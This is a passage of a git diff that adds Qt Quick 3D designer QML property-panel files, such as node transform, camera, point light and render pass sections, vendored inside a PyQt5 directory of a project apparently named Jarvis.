backendValues.castsShadows + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Receives Shadows") + tooltip: qsTr("Enables the geometry of this model to receive shadows.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.receivesShadows.valueToString + backendValue: backendValues.receivesShadows + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Pickable") + tooltip: qsTr("Controls whether the model is pickable or not.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.pickable.valueToString + backendValue: backendValues.pickable + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Materials") + } + SecondColumnLayout { + EditableListView { + backendValue: backendValues.materials + model: backendValues.materials.expressionAsList + Layout.fillWidth: true + + onAdd: function(value) { backendValues.materials.idListAdd(value) } + onRemove: function(idx) { backendValues.materials.idListRemove(idx) } + onReplace: function (idx, value) { backendValues.materials.idListReplace(idx, value) } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ModelSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ModelSpecifics.qml new file mode 100644 index 00000000..2f7f80ba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ModelSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ModelSection { + width: parent.width + } + + NodeSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/NodeSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/NodeSection.qml new file mode 100644 index 00000000..c9569638 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/NodeSection.qml @@ -0,0 +1,350 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 +import StudioTheme 1.0 as StudioTheme + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("Node") + + SectionLayout { + + Label { + text: qsTr("Opacity") + tooltip: qsTr("Controls the local opacity value of the node.") + } + + // ### should be a slider + SpinBox { + minimumValue: 0 + maximumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.opacity + Layout.fillWidth: true + sliderIndicatorVisible: true + } + + Label { + text: qsTr("Visibility") + tooltip: qsTr("Sets the local visibility of the node.") + } + SecondColumnLayout { + // ### should be a slider + CheckBox { + text: qsTr("Is Visible") + backendValue: backendValues.visible + Layout.fillWidth: true + } + } + } + } + + Section { + id: transformSection + width: parent.width + caption: qsTr("Transform") + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + GridLayout { + columns: 2 + rows: 2 + columnSpacing: 24 + rowSpacing: 12 + width: parent.width - 16 + + ColumnLayout { + + Label { + width: 100 + text: qsTr("Translation") + tooltip: qsTr("Sets the translation of the node.") + } + + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.x + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.y + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.z + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + } + + ColumnLayout { + + Label { + width: 100 + text: qsTr("Rotation") + tooltip: qsTr("Sets the rotation of the node in degrees.") + } + + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.eulerRotation_x + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.eulerRotation_y + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.eulerRotation_z + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + } + + ColumnLayout { + + Label { + text: qsTr("Scale") + tooltip: qsTr("Sets the scale of the node.") + } + + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 50 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.scale_x + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 50 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.scale_y + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 50 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.scale_z + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + } + + ColumnLayout { + + Label { + text: qsTr("Pivot") + tooltip: qsTr("Sets the pivot of the node.") + } + + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.pivot_x + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.pivot_y + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: transformSection.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: transformSection.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.pivot_z + Layout.fillWidth: true + Layout.minimumWidth: transformSection.spinBoxMinimumWidth + } + } + } + + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/NodeSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/NodeSpecifics.qml new file mode 100644 index 00000000..124e6af9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/NodeSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + NodeSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/Object3DSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/Object3DSection.qml new file mode 100644 index 00000000..d708a097 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/Object3DSection.qml @@ -0,0 +1,37 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Object") + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/OrthographicCameraSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/OrthographicCameraSection.qml new file mode 100644 index 00000000..d6504298 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/OrthographicCameraSection.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Orthographic Camera") + + SectionLayout { + Label { + text: qsTr("Clip Near") + tooltip: qsTr("Sets the near value of the camera view frustum.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.clipNear + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Clip Far") + tooltip: qsTr("Sets the far value of the camera view frustum.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + stepSize: 100 + backendValue: backendValues.clipFar + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/OrthographicCameraSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/OrthographicCameraSpecifics.qml new file mode 100644 index 00000000..3cd98e0d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/OrthographicCameraSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + OrthographicCameraSection { + width: parent.width + } + + NodeSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PassSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PassSection.qml new file mode 100644 index 00000000..da4109b9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PassSection.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Pass") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Commands") + tooltip: qsTr("Render commands of the pass.") + } + SecondColumnLayout { + EditableListView { + backendValue: backendValues.commands + model: backendValues.commands.expressionAsList + Layout.fillWidth: true + typeFilter: "QtQuick3D.Command" + + onAdd: function(value) { backendValues.commands.idListAdd(value) } + onRemove: function(idx) { backendValues.commands.idListRemove(idx) } + onReplace: function (idx, value) { backendValues.commands.idListReplace(idx, value) } + } + } + Label { + text: qsTr("Buffer") + tooltip: qsTr("Output buffer for the pass.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Buffer" + Layout.fillWidth: true + backendValue: backendValues.output + } + } + Label { + text: qsTr("Shaders") + tooltip: qsTr("Shaders for the pass.") + } + SecondColumnLayout { + EditableListView { + backendValue: backendValues.shaders + model: backendValues.shaders.expressionAsList + Layout.fillWidth: true + typeFilter: "QtQuick3D.Shader" + + onAdd: function(value) { backendValues.shaders.idListAdd(value) } + onRemove: function(idx) { backendValues.shaders.idListRemove(idx) } + onReplace: function (idx, value) { backendValues.shaders.idListReplace(idx, value) } + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PassSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PassSpecifics.qml new file mode 100644 index 00000000..2a59fb0b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PassSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PassSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PerspectiveCameraSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PerspectiveCameraSection.qml new file mode 100644 index 00000000..153686d5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PerspectiveCameraSection.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Perspective Camera") + + SectionLayout { + Label { + text: qsTr("Clip Near") + tooltip: qsTr("Sets the near value of the view frustum of the camera.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.clipNear + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Clip Far") + tooltip: qsTr("Sets the far value of the view frustum of the camera.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + stepSize: 100 + backendValue: backendValues.clipFar + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Field of View") + tooltip: qsTr("Sets the field of view of the camera in degrees.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 180 + decimals: 2 + backendValue: backendValues.fieldOfView + Layout.fillWidth: true + } + } + + Label { + text: qsTr("FOV Orientation") + tooltip: qsTr("Determines if the field of view property reflects the vertical or the horizontal field of view.") + } + ComboBox { + scope: "PerspectiveCamera" + model: ["Vertical", "Horizontal"] + backendValue: backendValues.fieldOfViewOrientation + Layout.fillWidth: true + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PerspectiveCameraSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PerspectiveCameraSpecifics.qml new file mode 100644 index 00000000..db48c589 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PerspectiveCameraSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PerspectiveCameraSection { + width: parent.width + } + + NodeSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PointLightSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PointLightSection.qml new file mode 100644 index 00000000..dd50ef0e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PointLightSection.qml @@ -0,0 +1,142 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("PointLight") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Scope") + tooltip: qsTr("Sets the scope of the light. Only the node and its children are affected by this light.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Node" + Layout.fillWidth: true + backendValue: backendValues.scope + } + } + Label { + text: qsTr("Brightness") + tooltip: qsTr("Sets the strength of the light.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.brightness + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Constant Fade") + tooltip: qsTr("Sets the constant attenuation of the light.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.constantFade + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Linear Fade") + tooltip: qsTr("Sets the linear attenuation of the light.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.linearFade + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Quadratic Fade") + tooltip: qsTr("Sets the quadratic attenuation of the light.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.quadraticFade + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Color") + width: parent.width + + ColorEditor { + caption: qsTr("Color") + backendValue: backendValues.color + supportGradient: false + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Ambient Color") + width: parent.width + ColorEditor { + caption: qsTr("Ambient Color") + backendValue: backendValues.ambientColor + supportGradient: false + Layout.fillWidth: true + } + } + + ShadowSection { + width: parent.width + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PointLightSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PointLightSpecifics.qml new file mode 100644 index 00000000..d765e889 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PointLightSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + NodeSection { + width: parent.width + } + + PointLightSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PrincipledMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PrincipledMaterialSection.qml new file mode 100644 index 00000000..c218a8c1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PrincipledMaterialSection.qml @@ -0,0 +1,447 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt 